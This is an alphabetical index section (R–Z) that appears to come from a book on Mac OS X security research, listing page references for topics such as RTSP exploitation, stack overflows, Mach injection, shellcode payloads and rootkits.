Remote Login, Sharing pane, 71
remote procedure call. See RPC 

(remote procedure call), 
Mach

remote process memory, Mach 
injection, 306–307

remote threads, Mach injection, 
301–306

remote_execution_loop
Intel x86 exploit payloads, 

241–244
output from testing, 258–259
testing, 254–255

Rendezvous. See Bonjour
ReportCrash (CrashReporter)

fi le fuzzing of QuickTime 
Player, 130–131

smashing stack on PowerPC 
using, 166–170

smashing stack on x86, 172–173
ret instruction, 275–276
return addresses, QuickTime 

RTSP exploit, 266–267
return to system( ) function, 

173–176
return-to-libc exploits

executing payload from heap, 
176–181

overview of, 173
using return into system( ) 

function, 173–176
reverse engineering, 135–157

case study, 150–154
EIP-relative data addressing, 

136
identifying missed functions, 

138–140
messed-up jump tables, 

137–138
.mov fi le format for, 49
Pai Mei using, 103–107
patching binaries, 154–156
references, 157
reversing Obj-C. See Obj-C 

(Objective-C), reversing
rights, Mach port, 295–297
RIP-relative data addressing, 136
Robert Morris Internet worm, 

161
rootkits, 327–358

controlling, 349–352
defi ning, 327
hardware-virtualization, 

354–358
hiding, 342–345
hiding fi les, 332–342
kernel extensions, 327–330
maintaining access across 

reboots, 346–349

providing remote access with, 
352–354

references, 358
system calls, 330–332

RPC (remote procedure call), 
Mach

controlling rootkit, 349–352
Mach security model, 298
overview of, 295

RTCP (Real-Time Control 
Protocol), 57–58

RTP (RealTime Transport 
Protocol)

packet capture showing 
transition from RTSP to, 
54–56

RTSP using, 52
streaming contents of media 

via, 57–58
RTSP (Real Time Streaming 

Protocol)
defi ned, 35
fuzzing of QuickTime Player, 

126–129
overview of, 52–60
real-world exploit. See 

QuickTime RTSP Content-
Type header overfl ow

references, 61
Ruby scripts

smashing stack on PowerPC, 
166–167, 169–170

smashing stack on x86, 172
run( ) function

inject_bundle usage, 311
iSight photo capture example, 

313
loading dynamic library, 

309–310
testing complex components, 

257
x86 inject_bundle payload, 

247–254

S
Safari, 75–81

exploiting, 80–81
extended features and attack 

surface of, 75–77
Info.plist, 72–73
other applications spawned 

by, 77–79
safe fi le types, 79–80
sandboxing limitations of, 33
stack protection and, 28
starting using launchd, 21

safe fi le types, 79–80
sandbox_init( ) function, 30
sandboxes

caveat to, 67
Leopard security and, 29–33
mDNSResponder code for, 

64–67
saved-set user IDs, 215
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scalable zone allocator, 187–192
scan_for_upnp_port( ) method, 

277–279
Scheme programming language, 

Seatbelt, 31
Screen Sharing option, Sharing 

pane, 69
.sdp playlist fi le, QuickTime 

Player, 56
searching

for bugs. See bugs, searching 
for

memory, using PyDbg, 98–99
Seatbelt, 29–33
security. See also Leopard 

security
Mach model, 296–300
perceiving Bonjour as risk 

to, 40
testing using SSLSpy, 315–318

segments, Obj-C binary, 141–142
servers, RTSP, 54–59
server-side attacks, 63–72
service discovery, Bonjour, 37–39
services, turning on, 68
session identifi ers, RTSP, 52
SET_PARAMETER method, 

RTSP, 53
seteuid( ) function, 215
setjmp( ) function, 176–178
setuid( ) function, 215
SETUP method, RTSP, 52–53
shared resources

constraints on exploit 
payloads, 214

containing in bundles, 17
Sharing pane, System 

Preferences, 68–72
shellcode

defi ned, 213
dynamically injected code 

as, 161
executing shell, 216
The Shellcoder’s Handbook, 241

The Shellcoder’s Handbook, 241
SIGABRT signal, stack 

protection, 28
size

atom structure of .mov fi le, 48
constraints on exploit 

payloads, 214
getting around constraints of 

exploit injection vectors, 
217

small allocations, szone, 186–187, 
191–192

smashmystack( ) function, 172
source code, 44–47
source-code analysis, 115–122

CanSecWest 2008 bug, 121–122
code coverage, 116–121
getting to source, 115–116
overview of, 115
using static analysis, 114

SSL
fuzzing from within program, 

99
SSLSpy example of function 

hooking, 315–318
SSLClose( ), hook for, 316–317
SSLHandshake( ), 316
stack overfl ows

RTSP, 53
stack protection (propolice), 

27–29
stack overfl ows, exploiting, 

161–184
fi nding useful instruction 

sequences, 181–184
overview of, 161–162
real-world exploit. See 

QuickTime RTSP Content-
Type header overfl ow

references, 184
smashing stack on PowerPC, 

165–170
smashing stack on x86, 170–173
stack basics, 162–163
stack usage on PowerPC, 

163–164
stack usage on x86, 164–165
x86 non-executable stack, 

173–181
stack pointer

defi ned, 162
setting breakpoint after 

setting, 321
smashing stack on x86, 172
stack usage on PowerPC, 

163–164
stack usage on x86, 164–166

stack protection (propolice), 
27–29

staged payload execution, 
217–218

StartCalendarInterval key, 20
StartInterval key, 20
stateless, HTTP as, 52
static analysis, 114–115
stmw instruction

defi ned, 220
execve_binsh payload, 222
system payload, 224

strcpy( ) function, 172
strdup( ) function, 179
subroutines

stack basics, 162–163
stack usage on PowerPC, 

163–164
stack usage on x86, 164–165

.swf fi les, 76
sy_call fi eld, 331
sysent table, 330–331
system, 223–224
system( ) function, return-to-libc 

exploits, 173–174
system calls

executing on x86, 240

hiding fi les in rootkit, 332
on PowerPC, 220–221
working with, 330–332

T
targets, setting with Pai Mei, 106
task_for_pid( ) authorizations, 

Mach, 297–298
tasks, Mach

loading dynamic library or 
bundle into, 307–310

overview of, 294–296
security model, 296–297

TCP
searching attack surface of 

Mac OS X Server, 64
transmitting RTSP over, 52

tcp_connect, 232–233
tcp_fi nd, 233–234
tcp_listen, 231–232
TEARDOWN method, RTSP, 53
test_component, 236–238
testing, complex payload 

components in x86, 254–259
thread_set_exception_ports( 

), 300
threads, Mach

injection, 298–300
injection using remote, 301–306
overview of, 294–296

Tiger
fi rewall used in, 29
heap blocks on free list, 

188–189
introducing launchd, 19
Mach security model on 

PowerPC, 296–297
mDNSResponder running as 

root, 276
tiny allocations, szone, 186–191
toggle_ipfi lter() function, rootkit 

IP Filter, 353
tools, Mac OS X, 8
tracing and debugging

DTrace. See DTrace
GDB, 86–87
iTunes, 108–111
ptrace, 85–86
PyDbg. See PyDbg
references, 112

trampolines, 302–305
try/catch block, 209

U
UDP

searching attack surface of 
Mac OS X Server, 64

streaming media via RTP over, 
57–58

transmitting RTSP over, 52
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Universal Plug and Play. See 
UPnP (Universal Plug and 
Play)

UNIX
under Mach, 294
Mach security model vs., 296
sockets vs. Mach ports, 295

update.sb, 32
UPnP (Universal Plug and Play)

exploiting on PowerPC, 
283–287

exploiting vulnerability, 
279–283

mDNSResponder creating 
NAT mappings using, 277

triggering vulnerability, 
277–279

upnp_server( ) method, 277
URL handlers, 77–79
user IDs, 215
UserName key, launchd, 20
ustack( ) function, D, 95–96

V
vfork( )

defi ned, 235–236
forking new process, 215–216
PowerPC exploit payloads, 

235–236
video on demand, QuickTime 

Player, 52–59
virtual machine monitor 

(VMM), 355
virtual-machine control 

structure (VMCS), 355–356
Vitriol, hardware-virtualization 

rootkit
defi ned, 354

hyperjacking, 355–356
rootkit hypervisor, 356–358

vm_allocate( ) method, 186
VMCS (virtual-machine control 

structure), 355–356
VM-entry, 355
VM-exit events, 355, 356–358
VMM (virtual machine monitor), 

355
VMX-root mode, 355–357

W
WebKit

exploiting JavaScript, 204–207
fi nding bugs in, 122
rapidity of Apple fi xes to 

publicly available, 124
wide-area Bonjour, 35
wildcards, DTrace, 88–89
Windows

application sandboxing and, 33
IDA Pro running only in, 

103–104
write4primitive, 289
write-back caches, PowerPC, 225
W?X, 24

X
x86

calling subroutines in 
PowerPC vs., 163

exploiting non-executable 
stack, 173–181

extensive use of stack on, 163
fi nding useful instruction 

sequences, 182–184

QuickTime RTSP exploit on, 
273–276

smashing stack on, 170–173
stack usage on, 164–165

x86 exploit payloads
CISC architecture of, 239
common instructions, 239–240
executing system calls, 240
inject_bundle, 244–254
references, 259–260
remote_execution_loop, 

241–244
testing complex components, 

254–259
Xcode

building simple kext using, 
328–330

defi ned, 8
in mDNSResponder, 42–44

XD (Execute Disable) bit, 24–25
XNU (Mac OS X) kernel

defi ned, 294
FreeBSD code within, 5
I/O Kit within, 5–7
Mac OS X architecture, 4
Mach within, 4–5

XOR decoding, 225–230

Z
Zero Confi guration. See Bonjour
Zero Confi guration Working 

Group, IETF, 36
0x80 method, system calls on 

x86, 240
Zeroconf. See Bonjour
zones, 186. See also scalable zone 

allocator
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